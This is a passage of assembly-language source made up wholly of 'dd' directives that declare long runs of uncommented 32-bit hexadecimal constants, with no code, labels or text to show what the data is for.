dd 8FA749BDh, 0D68A7A4Fh, 0D8061D27h, 0F7386A74h, 442F77EAh
dd 5EE4CD53h, 3528EF65h, 38609AE5h, 4C230F60h, 0AA095B06h
dd 330E6EE1h, 0D4901A8Eh, 0AD6BE778h, 0EE077472h, 7FA9EE9h
dd 0DEB568CCh, 837E2EC4h, 765451CAh, 24B0EF4Ch, 72491EB5h
dd 0C743AEA9h, 0C367A4E3h, 0F73D4905h, 0F6A675AAh, 93AA825Ah
dd 0CB2494CCh, 0FF4A02A2h, 0D4DDA91Ch, 0F7DF1527h, 0C436AB71h
dd 0A300E047h, 0D1224C66h, 1D6D4E52h, 0F86CDEF7h, 36ED87EDh
dd 280F61FBh, 96164175h, 9CCCD273h, 44CE212h, 0FB05B076h
dd 2164975Fh, 9AF26B80h, 97DE8F33h, 911F2F51h, 8454BB57h
dd 37347A1Eh, 79867077h, 5662D6ABh, 0BE09FC96h, 828C316h
dd 0FF3B47Fh, 0A7B3AA3Ch, 0D9D8B79Dh, 55518F70h, 44E71775h
dd 2696A185h, 0D1E4098Fh, 4C5E34D0h, 573C1E32h, 2F1E90EDh
dd 9B1B693Bh, 8A7E5040h, 0DB08E7DBh, 0FC546891h, 33C5EF0Fh
dd 0E9D1A012h, 0C574FF8Eh, 14B7AFFDh, 4543A97Bh, 0E6DD9D8h
dd 4ED7158Dh, 30A5DFA8h, 0B7A06E1Eh, 0D1F9B4F9h, 0FB8D6EB2h
dd 2B07ED5Bh, 54ED090Eh, 0D8007A43h, 4EBF17EDh, 0C150E410h
dd 1B2E5AA1h, 3B15B947h, 0A0331020h, 1A8C11AAh, 66C651C5h
dd 2498A0F7h, 0E790945Dh, 955B72D9h, 10ADC994h, 0FF5B932Fh
dd 0E7ADDFE1h, 9ECD2B66h, 0F28B31E3h, 390B602Bh, 3690C987h
dd 51C7B84Fh, 9413422Fh, 241938E0h, 7F3A6956h, 0ABFD9B17h
dd 0A9F4B2A1h, 27D353C9h, 9D77D0FAh, 0E5AF524Eh, 358A86E4h
dd 997F3F84h, 87B431BAh, 3CC47790h, 7811310Bh, 0BEC3F84Bh
dd 0C9F9F681h, 899DE751h, 45286FDh, 60742300h, 47954440h
dd 8839A484h, 4C2D081h, 6614CC3h, 0A6886EF5h, 915C7F0h
dd 0F8F3867h, 591CA502h, 0AC78656Dh, 0FE5FDB6Ch, 0C91BB65Bh
dd 81BD7CDDh, 0DE4CFF5Bh, 0F8FD9269h, 1F05BE34h, 0F58A7EBCh
dd 79EE9E27h, 0F8B03A4Fh, 2DE32EECh, 4E46658Bh, 0B13C3F0Dh
dd 2850F647h, 88AE8297h, 0C601100Eh, 0CCF0C7A8h, 703AB13Dh
dd 6C3227E7h, 2AA3AADFh, 9EBF0095h, 0FD197C8Eh, 1B364610h
dd 0A675BBB7h, 2DE91F29h, 0CD36A661h, 0DF6051E8h, 535D6636h
dd 1AD5D8C5h, 48598A49h, 6DBEB569h, 8234D197h, 0AE8A4728h
dd 0EBC7F869h, 0DA54C1E0h, 0DB002E3Eh, 292BDB35h, 0CC5A2BD3h
dd 44179BFh, 9591BD82h, 0A6A0AE42h, 0AF795E23h, 8A5BF138h
dd 0E83D5C93h, 2D5E73h, 86CFBE8Ch, 0CE5FB600h, 611A8554h
dd 1E7EF958h, 22EEFA4Bh, 7BC13ACDh, 0BE112130h, 0D404C382h
dd 5622DF15h, 7AD1E311h, 0E1777026h, 0F9172059h, 879BA3A1h
dd 750A49E3h, 83DE04DAh, 947AC34Eh, 77F2AFA1h, 663FAF3h
dd 0C1764F72h, 6782139Bh, 0B0CA12FAh, 0F732ED2Ah, 0A5BF375Ah
dd 1D9F028Ah, 0E35A1907h, 17273DB3h, 6C4BAD64h, 253DDD91h
dd 37A706B6h, 244FF23Dh, 95FFF3ACh, 0F9B6D95h, 4D7D95h
dd 74699397h, 2A05CE8Bh, 680012C7h, 0C670EBADh, 9268D952h
dd 3D46CF02h, 1819FF5Dh, 203D0163h, 56FA8130h, 0C335FE15h
dd 6FADA4D2h, 0DF43F3E1h, 4F15C7DBh, 0B9C7AB14h, 3F5C6C1Ah
dd 45DC5B0h, 2F57AAA8h, 19C368F8h, 154149F5h, 0DE7BB719h
dd 9A09C909h, 966F225h, 0C93471BDh, 0DDF6FED1h, 3048853Ch
dd 9F72AC01h, 0D4F89DF4h, 0FB9EE098h, 0EA49344Ah, 652A04h
dd 1870CD4Dh, 0A9024573h, 0D632A8C8h, 3CC9D551h, 958A26A4h
dd 0F5E4CFFBh, 0D544C1F5h, 4620742Ch, 8D72E4D5h, 8C8D8861h
dd 8B50AD76h, 607B4ED2h, 75C97AC5h, 0F8742687h, 0E703E409h
dd 8EA97C05h, 80BA7EE4h, 0DD190BBDh, 719BB566h, 0CC12168Ch
dd 0B2301A1Ch, 0BA2365A1h, 0B2999B7Bh, 0AD2BF6B0h, 727C6F1Eh
dd 28011A3Eh, 7B4AAEh, 0B2EAF5F2h, 96CCB7E1h, 0F4F903A0h
dd 0AE18A6Dh, 9D30CB42h, 8D35D763h, 0D7F9A791h, 0BB759897h
dd 562C9943h, 7AFE1347h, 358F8E1Ch, 0A608C9AEh, 0A621A332h
dd 0C7F77000h, 0BB2D2433h, 0FE2B78C0h, 43C57FE2h, 85B0825Ch
dd 0E2CF1587h, 4A141C18h, 5C97F95Fh, 3BD45713h, 0C81C6729h
dd 11264B4Ch, 66E5DAEBh, 13E1DECAh, 5E59BE23h, 2F89C13Eh
dd 2320A811h, 613CDCCEh, 54497CC4h, 0C80E0E10h, 1E52DCA3h
dd 6FF72188h, 0D2819CEFh, 0F055CC05h, 0DCDBAFD8h, 0B42ADEFEh
dd 0F0EDAFCCh, 0C725DEC8h, 8273041Bh, 0AB63D81Fh, 0B714A53Bh
dd 85CB90AFh, 882DDDDh, 43B28D97h, 8FA825h, 0BB09A696h
dd 1F224435h, 0F088A9E3h, 0D766B378h, 7923DD3Eh, 29DAB280h
dd 9ABA2D0Ah, 1C839CCFh, 8A01E7A2h, 569EAA7Ah, 9F2F5A7h
dd 73036879h, 49528D08h, 0F3391CD8h, 4B78EFCCh, 739AF4E0h
dd 7F3D3F8Bh, 26E90955h, 40B0826Dh, 5BD78FF8h, 2AA3BB3Dh
dd 90109AAAh, 0A60A48Bh, 80B6EB5Fh, 9B241079h, 0E2A16AEDh
dd 6AF31F92h, 0D1F98540h, 264D4705h, 0FF8BF716h, 8FBF5738h
dd 0AB2FF08Bh, 0E73DA649h, 0CB4FE9E3h, 8AF16CB3h, 98BA8CA7h
dd 7FE4E614h, 0BB944A10h, 6A5EA725h, 74EFE009h, 6DDC3E87h
dd 15E0E4E6h, 0B7ADCD17h, 0BC8C2221h, 1B794436h, 46891B42h
dd 35C0245Ah, 3D8B7D72h, 203F4539h, 64339967h, 0BADC5539h
dd 0CE2D3DDh, 5BBDDD38h, 8FD4BE7Ah, 61B742CBh, 2B388E00h
dd 78C1A22Ch, 3A99D2FCh, 42D9C87Ch, 9526FEAAh, 4C6061A1h
dd 4C72C9B8h, 0E5C8B223h, 0F81C4E8Ch, 40C38EF4h, 5B7A30F6h
dd 0C71CCC1Eh, 37B9570h
dd 3A3F8C4Ch, 0CA615EC8h, 54BB842Dh, 0BFA161DAh, 5833F18Fh
dd 0B1C4B327h, 0A1E76C8Dh, 31BAA626h, 0C80D1364h, 0EC23A89Dh
dd 574EFC5h, 6424C170h, 6B5DF264h, 52D1BE3Bh, 1997E92Ah
dd 41775D6Bh, 683229B7h, 0D1E3B0DBh, 623473ECh, 0C73DA2DDh
dd 6A005E9Eh, 717CE741h, 0C863E457h, 35940DBEh, 0BA6E8E67h
dd 3D13C29Bh, 0D3F1807Ch, 0BB15B5FCh, 0F5DD9C4h, 0BAB8B9D1h
dd 0E03F9F5Dh, 43383583h, 4EFF519Eh, 1C0556h, 775E449Eh
dd 77D2FD2Dh, 0C3844164h, 6F4B63Dh, 31089C1Bh, 0EAE75BD4h
dd 0BF9E829Eh, 0A72FB3FBh, 6E060A9h, 0F3ACDF02h, 707E8B44h
dd 0E66149C9h, 0ADC356C0h, 1DE339C8h, 0D20A58FCh, 6008187Dh
dd 0EE5B4E0Dh, 22BB970Ah, 3D8CEA56h, 7E2F4AD8h, 1FC7D8D8h
dd 0F4C681FFh, 8C11DD5Ch, 9BD1963Ch, 0A39F6A6h, 0F8877EE8h
dd 41DA6C73h, 6995376Ch, 544B9C88h, 3C117168h, 37ECB984h
dd 11355944h, 0D735E2A4h, 14E55824h, 367ED28h, 4721C837h
dd 2A7DEFD7h, 0BF4E40F2h, 2D3C2E3Fh, 0CC0C6BF0h, 0A20F1FC0h
dd 0F538E72Ah, 478F71Eh, 0A2B98B31h, 0E2C75BEFh, 14498706h
dd 6DAAD814h, 0FDA48A54h, 0DC075765h, 0D111F854h, 78C39A7Ch
dd 32AA6C06h, 80F3C34Eh, 8262CDE4h, 51F38C8Fh, 58C0491Dh
dd 0B2035669h, 0A646E177h, 110F1A2Bh, 0AD4880E1h, 90B42457h
dd 0AD078EA3h, 0DCD54A54h, 0B4B06212h, 72D5509Ah, 88D206F0h
dd 6CDE1645h, 3C4D3EE0h, 68C14443h, 247FA7A4h, 0A5A19B7h
dd 86991B62h, 53C8242Ah, 8420DC78h, 65CFD53Bh, 0FE85E6h
dd 0ABF991BFh, 831A4928h, 3ADB2472h, 6F3AE300h, 49BC88FAh
dd 0A2384765h, 0B4489074h, 75328352h, 0F28A14D8h, 76126172h
dd 8D2C55E9h, 66B14132h, 0A3EB7D6h, 5B027694h, 854EB6B8h
dd 0EDE58532h, 650F7137h, 94F643F1h, 27799B00h, 8BAE6D1Dh
dd 1376E69h, 6612CF07h, 8B9FA906h, 97B14AF9h, 719437D0h
dd 0BB962176h, 1D8197EDh, 24AF4A8Ch, 0E7AFB219h, 679A77A7h
dd 0C3DEE5F7h, 0C8BD7EC9h, 5C866A6Ch, 63D3E915h, 6E67B56Dh
dd 3D13A195h, 7275E865h, 3FE9170Eh, 4469D91Dh, 68090760h
dd 2146601h, 905FA83h, 0C82F4569h, 4B265670h, 0AD9465EEh
dd 0A4C9118Ch, 1375CCCFh, 8BF178E6h, 1FBD8B5Ch, 0FFC04EE4h
dd 2F15685Dh, 0A4D25539h, 2790C67Bh, 0CB2D8255h, 1120006Dh
dd 0B52D2B1Fh, 0E3B90471h, 1443DA07h, 619D11FBh, 0ACCB8BB6h
dd 39C471A5h, 40BD7C4Ch, 0E9CCA976h, 0BE41DEE7h, 13B46EBCh
dd 131CABC5h, 0DF8ACC9Eh, 7B68AC87h, 0C8A0CE3Dh, 1AAB4989h
dd 0D3DECA8Bh, 7F954FD6h, 0D1EED9D8h, 62712E33h, 0C01335Dh
dd 0FA1A41D5h, 917628BAh, 3F962E52h, 0C2C47315h, 9F752841h
dd 0B0F81340h, 2C745941h, 946A5A90h, 7B39310Bh, 0CC66E8CFh
dd 95A0DC9Ah, 8B77AC0Ch, 4C16BAC2h, 0A9B8640Bh, 0A85FDBD7h
dd 0D823B52Ch, 6F06915h, 0C2E3E794h, 0E5C36510h, 864F35Bh
dd 0BFADF669h, 9834BA2Fh, 6B0E08FAh, 0CF25F228h, 90ED0407h
dd 0F5EA2A49h, 936AD006h, 295E929Fh, 79B64A12h, 7AD518BAh
dd 19C285ACh, 0BA378368h, 394FC94Dh, 437245E6h, 207C3549h
dd 982B0104h, 9BC4B9A2h, 74F434CBh, 0FA9F22A7h, 0C0EB1380h
dd 2F9B0E9Ch, 7F5E521Fh, 84E6E375h, 0A29F724Dh, 0F64C4440h
dd 8D415BC7h, 0F2A8EBADh, 67AD01EDh, 8371A84Eh, 635B7446h
dd 942C69EDh, 34160E45h, 0D5019568h, 0B6114165h, 50ED7E5Fh
dd 3F135577h, 1622085h, 22D40BEEh, 255AFD88h, 270F3D14h
dd 65DF7FD7h, 0BF096657h, 3D18ED52h, 8D3D32D0h, 0BFA2C50Eh
dd 765EBBF5h, 0F871AD8h, 443AFECh, 7C277130h, 3A18D4C3h
dd 0B4FD3E34h, 846A1218h, 5010D3Fh, 0D06493E0h, 0ABB5C5BAh
dd 654056h, 5A14B03h, 0E5B6BFC5h, 75A13429h, 0D4BAE4C3h
dd 6CF454AAh, 0FE8CBF1Dh, 78E26D92h, 42F6BA29h, 8B1D713Bh
dd 7D8AE975h, 8027E072h, 3C618C71h, 916F724Ah, 7695BC71h
dd 0D5D586D5h, 880B9AE8h, 55A84A46h, 7AF40A33h, 29C2056Ch
dd 277A80E3h, 68850A1Ah, 0DA388B1Dh, 23D054CDh, 56F39D6Bh
dd 1EF0FCFCh, 88E4A9BAh, 7744C9D7h, 0E3541119h, 38D247B9h
dd 4790E735h, 6EE6E019h, 2400D338h, 6175BFDDh, 0BF8A4C67h
dd 0AD024C9h, 33F9945Ch, 19B90809h, 5A18E0B3h, 0E68A3188h
dd 9CBA916Fh, 7FC254F4h, 107E4DE3h, 76C42AE4h, 0A29496BDh
dd 26747DA4h, 0CC61ADDAh, 3BD15589h, 0A7799D04h, 0ABFF5DDh
dd 9C16AE93h, 6A4D18B4h, 0F810AEABh, 0FE9BFAAFh, 0F42BCB3Ah
dd 7D13156h, 558941F5h, 6B599AA2h, 2084AB34h, 0C8FD3259h
dd 81FD58A2h, 0E70E009h, 5CC3A803h, 90E554A6h, 7B1A6FF7h
dd 990B5520h, 9C9D6DB7h, 3A8FA489h, 19116307h, 2D6069E5h
dd 0A7E6E99Ah, 79D4E25Fh, 1A7ECB65h, 0F96DFA42h, 334D7263h
dd 557C817Ah, 0B4A450E0h, 772C901Ah, 6E88FE75h, 0A6619DDFh
dd 32216BDAh, 0A342E016h, 7BFB07C3h, 19538F2Ch, 0C98FCA4Eh
dd 256877D5h, 409184DDh, 0FBBC89E6h, 123EC409h, 40555574h
dd 0A43E89EFh, 2D82C1B8h, 0D4055A19h, 0AC14A8D9h, 2DAB4937h
dd 11C6C5Fh, 0B4330C8Eh, 0B32E7DFDh, 2E7E4A18h, 0E4DCEDE5h
dd 8C1CCFD3h, 6032E733h, 4E6C6199h, 0F1877C63h, 0A028C0A9h
dd 8304905Fh, 1C7F8DEEh, 0B6C7C0FDh, 8B06F5Ah, 15597C72h
dd 0D36B1D71h, 0ED173636h, 1EF3C440h, 0F2F29D50h, 0C5D12B1Dh
dd 332329D7h, 0C3717A4h, 0FBC0DC7Dh, 9D4AD852h, 16CB2EBh
dd 51956B24h, 0E97AFEAFh, 6584AA20h, 9E64747Bh, 6C375E8Ch
dd 1BAF843Fh, 39BF77F4h, 71F509BFh, 7E8CC86Fh, 0C00E1DF0h
dd 0EF34ECA1h, 1EEADD13h, 571799A0h, 2C6C5160h, 993CEF0Eh
dd 243BF86Ah, 0EC93F342h, 0AABE8CA3h, 70C6161h, 4449AFFCh
dd 0A6EE623Bh, 0FBD2CFABh, 0B174CBEDh, 426D87DDh, 88AE2D1Eh
dd 0AA2A9D43h, 42690F3Ah, 0D2DA0F34h, 25D608ACh, 484DDB77h
dd 8EA564B1h, 0EEB545CAh, 1220A87Bh, 8D5B5A7Bh, 5935BAADh
dd 0D5BDD453h, 0E205529Ah, 891E810Ch, 4BD5BFEBh, 52D286C2h
dd 3F05CDE0h, 6E353E2Dh, 67CBBE7Bh, 4D5A5086h, 86C9AB4Bh
dd 0A5062F4Bh, 0E7CDC8Dh, 0A1D4B24Dh, 772BD0A1h, 52844998h
dd 762DD0ACh, 41C76820h, 3856CC3Ah, 0BA85873Bh, 14F0481Ah
dd 0E53F1499h, 887DD34Dh, 67A445CDh, 0DED2EED9h, 0F2D5A61Bh
dd 4FBC5A18h, 0BF039C56h, 794FEA82h, 8B7C8FEFh, 4EDD2B6h
dd 6B75D1D5h, 0A086B137h, 202E5440h, 7370C06h, 9579470Ah
dd 61EFB589h, 5961414Fh, 3A31B473h, 7F9603F4h, 0B6B8670Ch
dd 307E5E85h, 0FB5A7E3Ch, 8F449DFFh, 8253F0CEh, 0E2E91B57h
dd 0A403B30Fh, 0A9B3F6DAh, 0E8C5473h, 4959C870h, 4ACC7A5Fh
dd 0FAE77C51h, 508118BDh, 0B5A5043Dh, 7648A84Dh, 27DB718Dh
dd 3D7A16C0h, 2E64FA74h, 2F4741C6h, 5E9BF27Ah, 3FECDB8Dh
dd 22472136h, 0C9E5D53Ch, 0A05AEB70h, 0BD3EAF7Fh, 19CDAD6Ah
dd 781D5A9Dh, 9012701Dh, 6F5D6CCAh, 114685Eh, 0DFD69471h
dd 0C164FEBFh, 14809DA5h, 0C2423D7h, 147842D6h, 432CE3FDh
dd 0EC004EDAh, 3ADFC5F9h, 736A9557h, 855F2199h, 41149262h
dd 6C33C180h, 7264586Bh, 0D1C8DB07h, 775351FDh, 0E9636D8Dh
dd 0DFF7521Dh, 10324BC9h, 74DDB18h, 0F08F2787h, 7CFE4E35h
dd 561849C8h, 7E05CA85h, 65C2AFh, 895BEAF0h, 62494BD3h
dd 0CD8FB872h, 3F0E9284h
dd 65C75C3Fh, 0E524CBC1h, 0D8BF2A61h, 441D14FDh, 93AF7846h
dd 4E1C4B9Ah, 417868F5h, 0EB23DD0Ch, 0A4358E42h, 360D30E4h
dd 0D931158Eh, 1C3D0777h, 0F07FA68Ch, 0A9347A01h, 0DC693C1h
dd 32D02967h, 0F7C0DE77h, 6B47782Ah, 360D1261h, 0AB79458Eh
dd 869AAEFCh, 48B2A5DCh, 2BFE03CCh, 0BEB48D63h, 2B42F7AAh
dd 375A931Ah, 2A3A987Ch, 8F0E12A8h, 0E96987E6h, 0DE7380F5h
dd 0B4818BA4h, 0B6339126h, 84F2B791h, 891F4C99h, 8A129043h
dd 13590E8Eh, 4D4FB640h, 67FDFE93h, 2E6A4FCAh, 0D8CA28F5h
dd 0D0E24CA5h, 6721AD6Eh, 1340D1A0h, 3C827688h, 0E43585EAh
dd 0EE8D8D91h, 7D343A47h, 9E56FB71h, 22CDE2ADh, 0E97CD0F8h
dd 88511039h, 7739652Eh, 30EA44Bh, 33FDF140h, 5812AFB1h
dd 0F91FF778h, 0FAB40664h, 74F996ABh, 0E3C26A2Ah, 5A6FDA50h
dd 61D863F0h, 179B99D1h, 377D275Ch, 0FA660B7Eh, 0E921DE48h
dd 7FB666FBh, 8E347FCDh, 0BB3C3EE6h, 0F91FBF16h, 1F8F8A32h
dd 45E65BF6h, 382D9087h, 0E61A6252h, 0CC74D68Bh, 526ACB29h
dd 13398513h, 0D02BF2Fh, 0A5DF221Bh, 2228A53Ah, 0AFAFB1E7h
dd 1865A66Ch, 48E6BF64h, 0BA14E4AEh, 5C90DDB9h, 7BB8680Fh
dd 8EC27EE1h, 0EAE9067Bh, 2ADA059Fh, 3A8649B9h, 6C21F2F8h
dd 9C49C099h, 67EBE2C9h, 90D52C23h, 17FCED93h, 0DEDC04BEh
dd 98385554h, 2888570Eh, 0DC56F813h, 0CF37E284h, 95A89DF0h
dd 4F491FCDh, 0EB2046A0h, 93812DDEh, 1D6ED198h, 0F0BC20A2h
dd 7F736FB5h, 888D571Dh, 408FFE49h, 6B7397C8h, 0A074A961h
dd 0A0B85A68h, 6D166237h, 0E9FFC574h, 10386619h, 18590DAFh
dd 0CEB7BDC5h, 0ED12C66Ch, 1D7E3785h, 82BD28A2h, 4F927EFCh
dd 9A89C4B3h, 37240E0Eh, 87D09C7Eh, 2E4C5F20h, 9778A7B1h
dd 77B8AC48h, 4B50A70Ah, 4867165Eh, 47B7E3BDh, 0E1DA8B69h
dd 4BA0CE7Dh, 334804AAh, 0A842DA12h, 330B60B3h, 0CC30D5B2h
dd 0CC27AB36h, 0D21295ACh, 389CD32Fh, 7B8E20DAh, 0F7F4728Ah
dd 0C3F69902h, 2E792B17h, 264E41B5h, 993BCDA8h, 0C74FB0DFh
dd 93389D63h, 961284E3h, 5B751D55h, 0AE9C82E1h, 0F4BFDBCDh
dd 61F89AF4h, 0AAB5496Fh, 0BBC2952Ch, 87185024h, 4AA6D623h
dd 8D9E6C07h, 0FD08D4C7h, 0ABA0374Fh, 5FB56DF9h, 20535E4Fh
dd 0C47D9C8Fh, 2CC553EAh, 90144614h, 8DEE73F4h, 43178BFh
dd 7B643C45h, 4656F4E1h, 0FB2ECB1Fh, 66D65859h, 10E191F6h
dd 2CD5EB70h, 0E1AEF165h, 0BB8A27C6h, 69180E28h, 0DF6952D5h
dd 0A687AAFAh, 375B5AC6h, 0B9B48AECh, 797B846Dh, 0DAB650DBh
dd 80F4F105h, 2C108B04h, 0F10DFFF4h, 12D8F5A9h, 0BEBD5D4Ah
dd 5FAA89AEh, 0B2A2099Bh, 0AEEB3171h, 170DE8C0h, 94292C8Eh
dd 3613AF1Dh, 127E7CE3h, 1CFB9267h, 17A3EEC7h, 602B72A2h
dd 84CFB1C8h, 0B2FDA8A7h, 2A05E67Bh, 763894CBh, 8D103828h
dd 0D94354B0h, 0AED4AEE7h, 8CB0D83Bh, 3B610ECCh, 7C92C455h
dd 5914FCA8h, 0DF5BBEE1h, 4D26E988h, 0B78E5EB4h, 7080058Bh
dd 4AF8373Fh, 5C74F379h, 51B65098h, 9BC9D614h, 0A896FE97h
dd 972789FBh, 3F1FEA0h, 40FE3C34h, 6DECEA7Bh, 0DF59B6F0h
dd 0EE4CA056h, 133DF025h, 0DFD2B451h, 0FCB2D76Eh, 10AB1095h
dd 633995A5h, 1B1339EDh, 429DF438h, 0E24F9785h, 36C1B212h
dd 988DE62Eh, 0E09FE5D3h, 0CFFC8321h, 0A92E3CCBh, 0E1D6A96h
dd 5864995Ch, 58EB25E2h, 89F35E28h, 6201DA96h, 0DCE714FAh
dd 32D70601h, 0B1D0565Dh, 0C38C4CFBh, 0A50675D5h, 932B25FFh
dd 0A2BC7B39h, 3BA4A6B2h, 385F3F64h, 49FEACE3h, 68029B4Fh
dd 35C2E197h, 83E4C1FDh, 947719B5h, 6B57A144h, 3FB8D366h
dd 699D0B4Bh, 3CFBFA2Bh, 0A253C85Bh, 0CF28DF9Ch, 0E75097E1h
dd 0BB9C6876h, 0A222D8D4h, 60315FE1h, 0ECF42762h, 64B070C1h
dd 60D4A72Dh, 788FADD4h, 0A70EA6C3h, 9F7B4C49h, 0AD4B7009h
dd 75566958h, 0CBA25FB3h, 6D732C91h, 2D256776h, 76F9C07Ch
dd 0D64E7685h, 1F7FA946h, 2BCEF84Ah, 642B7E87h, 0CDBBED2Fh
dd 6422BFBAh, 43B31F6Eh, 0D6BF50BCh, 7E7137FFh, 0F0311A20h
dd 0CD2C4586h, 0F2C4A5C4h, 5CD42D98h, 0DF0EC64Ch, 73592F1h
dd 0AA0954BDh, 0C8636FA0h, 0A69D8072h, 0A62DB8D6h, 0E7C21AD7h
dd 9C975E54h, 0EE95706Fh, 3056F422h, 1E821323h, 185910F3h
dd 89171BA6h, 0FBF6EDC6h, 0DFAED1D2h, 0F2AE6735h, 0A1F9210Dh
dd 66B31641h, 0BC3FF1D7h, 3AF3411Fh, 28A3F665h, 9E250A39h
dd 0F21EF2Fh, 9401F3FBh, 595F63FEh, 509CC152h, 26766382h
dd 0A2F8FB7Bh, 201D04Ah, 0E304F456h, 49C6D922h, 0BDE7C876h
dd 231B42C6h, 0C3147C85h, 2383B4FFh, 0E78BD801h, 0B5E50A20h
dd 0A208219Ch, 0A3F7923Bh, 75699C2Fh, 0F109AB1Ch, 13C0BEE2h
dd 7E22C8ABh, 663044D5h, 93A2CEA9h, 0FA2A8B39h, 0EBD1DACCh
dd 6DD627E6h, 1FD12B0Ah, 0D4942DAEh, 0DBACE7DDh, 0D498757Eh
dd 0BA57204Ch, 7675E8D2h, 719DC048h, 0E0BC80B0h, 6A24BAEAh
dd 8F194C7Ch, 0A980D1A4h, 0DF386679h, 0A8B995F7h, 0B14BFF9Dh
dd 0E68413C4h, 0F8D10468h, 56C81F5Ah, 0C540DAE5h, 1BC00753h
dd 5F63A7FEh, 0A156FFB8h, 823F4006h, 0E20132C8h, 912727BEh
dd 44D8B6Ch, 26F070C1h, 95EC2CDEh, 0F05BB1FDh, 1DF470B1h
dd 0DCFD5E92h, 1E62B452h, 0FADADDF3h, 0AF19A06Eh, 8C0FE94Eh
dd 36C3AFEBh, 3F7BDF07h, 12AA7A75h, 1D15D3E1h, 24CF0EA0h
dd 17DEC58Bh, 0AF1BBCC9h, 56987087h, 0B420D61Eh, 3A6DF271h
dd 0DCEC89F6h, 959C7142h, 0E1B41B8Fh, 7DEB932Bh, 3DEBBA41h
dd 15D92125h, 0F52369F4h, 9F5E2EC6h, 1F4DF93Fh, 0B30C3956h
dd 17369C94h, 4F2893A5h, 0CB6E535Ch, 72C27093h, 0BE40C33Eh
dd 1C9ADB16h, 0A7A5B468h, 8C4512E6h, 0D82561C8h, 9812AA45h
dd 70C018D5h, 0B2F06E3Dh, 65EBA894h, 57AE8EBDh, 39104B3Dh
dd 0C70701Bh, 86133F76h, 0DD5848DEh, 0FA9920Fh, 0B7D4D3C7h
dd 0A783C9D7h, 0E3763C41h, 19C83F52h, 0DB0718EDh, 0A84423BBh
dd 641CFEAFh, 0C1A97CD0h, 13F0D77Fh, 8FF852AFh, 189806A1h
dd 0A820993Ah, 2E3A124Fh, 0C0129404h, 25CE1A6Ah, 0E38B11E9h
dd 4706F41Dh, 120C4682h, 318804BEh, 0FE01AE49h, 0BDFC502Ch
dd 0F66A0B3Bh, 4A6213Ch, 52DCD8CAh, 474AB596h, 0C8242443h
dd 0F672F0A9h, 8F6D2BE2h, 0B893D4E7h, 0E7F6E83Ch, 0E5030545h
dd 9F67DCFBh, 0B3866083h, 38B1FA6Eh, 5AF5DB71h, 358C0FBFh
dd 0BD571CA3h, 0CEF66674h, 0B2E80089h, 0EBE3F4Bh, 32438846h
dd 0E5D38707h, 3396ADA9h, 0BFFCCD9h, 0DA73E4D7h, 0B22ADCE5h
dd 0CE3AA55h, 0D5D9B9Dh, 0E3A522F3h, 0DF0233C0h, 0A72BF643h
dd 5FC3FA85h, 7FA061B1h, 965B0E4Fh, 0D92073E7h, 556D0937h
dd 854934C8h, 2656709Fh, 34598E3Fh, 29E20FC3h, 8885951Ah
dd 0A0047E9Ah, 0AA4CCEDh, 0FD591BDh, 5FB9F62Bh, 721F45D8h
dd 0F8BFB926h, 8AB90192h, 0E5AF52CFh, 5751AD40h, 2FBC8E9Fh
dd 0F09D3095h, 0EBC5DBCAh, 33558331h, 88D92502h, 24D612E0h
dd 7F568D45h, 9A83B22Ah, 0E1D25886h, 0C4079F0Ch, 9DCA344Ch
dd 9E05CAD6h, 0F151014Ch, 54A3BEFCh, 37FCA02Dh, 7A2A6283h
dd 0E8484A39h, 542CF161h, 0B2F59FD3h, 35902C22h, 53F1AA9h
dd 69FD4E90h, 0A4931C0Bh, 2B077E0Ch, 3EECF132h, 0F9DD18B3h
dd 4480130Ah, 51F02B99h, 73D87EBCh, 9E621B83h, 55DD7681h
dd 81FC8603h, 870E3D00h
dd 0FC8609CCh, 0C99188F6h, 2AA2E714h, 7937351Ah, 875AAC98h
dd 0E73D3B2Eh, 0F17DB3ACh, 5FB3BCC6h, 7DFE1B0Ch, 4332568Ah
dd 8ED6A450h, 0BBEDE4ACh, 5DF3AA66h, 804D1BAFh, 5388F9C0h
dd 631E8852h, 9F7FD49Ch, 167F5C2Ch, 0B5B0CE2Ah, 0D9A1CB3Ch
dd 6C97B243h, 7DA048A1h, 0BC17DDF6h, 3904420Ch, 0D9845E6Dh
dd 2757BF35h, 375930F2h, 0D3BB8DCh, 0DDB1F342h, 6258D5CCh
dd 104D20B8h, 2957DF91h, 28187D5Ch, 6ADDCBDEh, 0D7855288h
dd 0BA68B808h, 0F822F21Bh, 0C0115C7h, 8C079FFEh, 4D9A8081h
dd 0A2507C8Eh, 0F6084BCAh, 760A7CBDh, 97440004h, 6665BC86h
dd 0BFBCB13Dh, 787636D2h, 17BB3964h, 0D51862E1h, 679639DBh
dd 3FBEB1B7h, 7476A46Dh, 0EDA4FBBDh, 0CEAA5DB9h, 1B5F1564h
dd 81EABD7Eh, 9A661CFCh, 566BFCC2h, 0B33EFCCCh, 0B0EB1529h
dd 0A88A7540h, 8CD11143h, 0C7FF0F25h, 3CE049D4h, 7DBB683h
dd 4158CC88h, 0F280E147h, 54EF4031h, 47D391DBh, 0CF7AE5DFh
dd 31FC963Fh, 4F4A13B6h, 0CCBB72B8h, 0D7285BE0h, 22417855h
dd 512AD534h, 0F8DF0F6Ah, 0B76681Ah, 0D3D0B3B3h, 18291F63h
dd 364C6FBDh, 10A1BBBDh, 0EED8E9D4h, 241AAB5h, 0C61FA277h
dd 0B079E9D1h, 7C12895Bh, 0C280C396h, 0DAD5EE8Ch, 0E2FFEB92h
dd 0F98396D6h, 0F394EDA3h, 4792BD5Ch, 8D5F6654h, 0B0F13C82h
dd 0EB7F319h, 0C8A099Ch, 3EDC2971h, 0A0A491C3h, 7FC5EBAEh
dd 9DE6FF04h, 3190294Eh, 99D8D59Eh, 9C16C108h, 0C7A0AE03h
dd 678703C3h, 0C07DA150h, 0C0D080FDh, 0C37FB4C4h, 0D5FC7D54h
dd 89683943h, 26EACFEh, 5C2528CCh, 62A6707Eh, 17C8A7F4h
dd 0FD232D68h, 6BE377ADh, 5C07575Eh, 0A0AFA22Eh, 11EBB105h
dd 0EF647D65h, 0BD8072D4h, 12DA9113h, 0C9721191h, 8A53260Fh
dd 11E3197Dh, 0B7FF0F62h, 7509DBB8h, 0DE22B9B9h, 4B66F903h
dd 0A72D5678h, 0C4AA0B6Eh, 0B286A882h, 0DAFE6DDAh, 3D019EAEh
dd 4E2C2DE0h, 3CDF645Ch, 0BAA8ECDBh, 6ACD0A10h, 6EBCB326h
dd 69C3DC08h, 81D6488Bh, 0D46DB170h, 63B82F94h, 1417DF5Ah
dd 0C03FB5BFh, 640072A3h, 50143AC2h, 8E17ADFBh, 163413F6h
